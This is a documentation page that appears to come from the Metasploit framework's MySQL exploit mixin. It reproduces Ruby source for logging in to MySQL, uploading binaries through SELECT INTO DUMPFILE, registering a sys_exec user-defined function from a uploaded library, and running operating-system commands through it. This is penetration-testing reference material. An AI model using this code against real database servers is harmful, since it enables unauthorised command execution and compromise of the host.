Module: Msf::Exploit::Remote::MYSQL
- Includes:
- Tcp
- Defined in:
- lib/msf/core/exploit/remote/mysql.rb
Instance Attribute Summary collapse
Attributes included from Tcp
#sock
Instance Method Summary
collapse
Methods included from Tcp
#chost, #cleanup, #connect, #connect_timeout, #cport, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version
Instance Attribute Details
24
25
26
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 24
def mysql_conn
@mysql_conn
end
|
Instance Method Details
#initialize(info = {}) ⇒ Object
26
27
28
29
30
31
32
33
34
35
36
37
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 26
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(3306),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
], Msf::Exploit::Remote::MYSQL
)
end
|
#mysql_add_sys_exec ⇒ Object
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 213
def mysql_add_sys_exec
arch = mysql_get_arch
case arch
when :win64,:win32,:linux64,:linux32
target_path = mysql_get_plugin_dir
if target_path
print_status "Target arch (#{arch}) and target path both okay."
soname = mysql_upload_sys_udf(arch,target_path)
mysql_drop_and_create_sys_exec(soname)
return true
else
print_status "Cannot determine an appropriate target path."
false
end
when :unknown
print_error "Cannot determine target's architecture"
return false
else
print_error "Target is an incompatible architecture: #{arch}"
return false
end
end
|
#mysql_check_for_sys_exec ⇒ Object
236
237
238
239
240
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 236
def mysql_check_for_sys_exec
print_status "Checking for sys_exec()..."
res = mysql_query("select * from mysql.func where name = 'sys_exec'")
res.size == 1
end
|
#mysql_drop_and_create_sys_exec(soname) ⇒ Object
179
180
181
182
183
184
185
186
187
188
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 179
def mysql_drop_and_create_sys_exec(soname)
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
return false if res.nil?
return true
end
|
#mysql_get_arch ⇒ Object
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 190
def mysql_get_arch
print_status "Checking target architecture..."
res = mysql_get_variable("@@version_compile_os")
return :unknown unless res
case res
when /Win64/i
:win64
when /Win32/i
:win32
when /Linux/i
res = mysql_get_variable("@@version_compile_machine")
return :unknown unless res
if res =~ /x86_64/i
:linux64
else
:linux32
end
else
res
end
end
|
#mysql_get_plugin_dir ⇒ Object
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 104
def mysql_get_plugin_dir
print_status "Checking for MySQL plugin directory..."
plugin_res = nil
base_res = nil
plugin_res = mysql_get_variable("@@plugin_dir") rescue nil
begin
res = mysql_query("show variables like 'basedir'")
base_res = res.first[1] if res.respond_to? :first
rescue nil
end
if plugin_res.respond_to? :split
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
elsif base_res.respond_to? :split
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
else
print_error "Cannot determine the plugin directory."
return false
end
end
|
#mysql_get_temp_dir ⇒ Object
126
127
128
129
130
131
132
133
134
135
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 126
def mysql_get_temp_dir
print_status "Checking for temp directory..."
res = mysql_get_variable("@@tmpdir")
if res.respond_to? :split
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
else
print_error "Cannot determine the temp directory, exiting."
return false
end
end
|
#mysql_get_variable(var) ⇒ Object
137
138
139
140
141
142
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 137
def mysql_get_variable(var)
res = mysql_query("SELECT #{var}")
if res and res.respond_to? :first
return res.first.first
end
end
|
#mysql_login(user = 'root', pass = '', db = nil) ⇒ Object
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 39
def mysql_login(user='root', pass='', db=nil)
disconnect if sock
self.sock = connect
begin
self.mysql_conn = ::Rex::Proto::MySQL::Client.connect(rhost, user, pass, db, rport, io: self.sock)
@mysql_handle = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :mysql_conn, :@mysql_handle, ActiveSupport::Deprecation.new)
rescue Errno::ECONNREFUSED
print_error("Connection refused")
return false
rescue ::Rex::Proto::MySQL::Client::ClientError
print_error("Connection timedout")
return false
rescue Errno::ETIMEDOUT
print_error("Operation timedout")
return false
rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
print_error("Unable to login from this host due to policy")
return false
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
print_error("Access denied")
return false
end
vprint_good "#{mysql_conn.peerhost}:#{mysql_conn.peerport} MySQL - Logged in to '#{db}' with '#{user}':'#{pass}'"
return true
end
|
#mysql_login_datastore ⇒ Object
78
79
80
81
82
83
84
85
86
87
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 78
def mysql_login_datastore
begin
res = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
res = false
end
return res
end
|
#mysql_logoff ⇒ Object
70
71
72
73
74
75
76
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 70
def mysql_logoff
temp_rhost = mysql_conn.peerhost if mysql_conn
temp_rport = mysql_conn.peerport if mysql_conn
mysql_conn.close if mysql_conn
disconnect if sock
vprint_status "#{temp_rhost || rhost}:#{temp_rport || rport} MySQL - Disconnected"
end
|
#mysql_query(sql) ⇒ Object
89
90
91
92
93
94
95
96
97
98
99
100
101
102
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 89
def mysql_query(sql)
begin
res = mysql_conn.query(sql)
rescue ::Rex::Proto::MySQL::Client::Error => e
print_error("MySQL Error: #{e.class} #{e.to_s}")
return nil
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
return nil
end
vprint_status "#{mysql_conn.peerhost}:#{mysql_conn.peerport} MySQL - querying with '#{sql}'"
res
end
|
#mysql_sys_exec(cmd, doprint = false, opts = {}) ⇒ Object
242
243
244
245
246
247
248
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 242
def mysql_sys_exec(cmd,doprint=false,opts={})
res = mysql_query("select sys_exec('#{cmd}')")
if res && doprint
print_status "Executing: #{cmd}"
return res
end
end
|
#mysql_upload_binary(bindata) ⇒ Object
144
145
146
147
148
149
150
151
152
153
154
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 144
def mysql_upload_binary(bindata)
blob = "0x"
blob << bindata.unpack("C*").map {|x| "%02x" % [x]}.join
tmpdir = mysql_get_temp_dir
binname = Rex::Text.rand_text_alpha(8)
binpath = tmpdir << binname
print_status "Uploading binary as #{binpath}..."
print_status "SELECT #{blob} into DUMPFILE '#{binpath}'"
res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'")
return res
end
|
#mysql_upload_sys_udf(arch = :win32, target_path = nil) ⇒ Object
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
|
# File 'lib/msf/core/exploit/remote/mysql.rb', line 156
def mysql_upload_sys_udf(arch=:win32,target_path=nil)
case arch
when :win32
fname = 'lib_mysqludf_sys_32.dll'
when :win64
fname = 'lib_mysqludf_sys_64.dll'
when :linux32
fname = 'lib_mysqludf_sys_32.so'
when :linux64
fname = 'lib_mysqludf_sys_64.so'
end
sys_dll = File.join( Msf::Config.data_directory, "exploits", "mysql", fname )
data = File.open(sys_dll, "rb") {|f| f.read f.stat.size}
blob = "0x"
blob << data.unpack("C*").map {|x| "%02x" % [x]}.join
dll_name = Rex::Text.rand_text_alpha(8)
[:win32, :win64].include?(arch) ? extension = '.dll' : extension = '.so'
target_dll = target_path << dll_name << extension
print_status "Uploading #{fname} library to #{target_dll}..."
mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'")
return dll_name << extension
end
|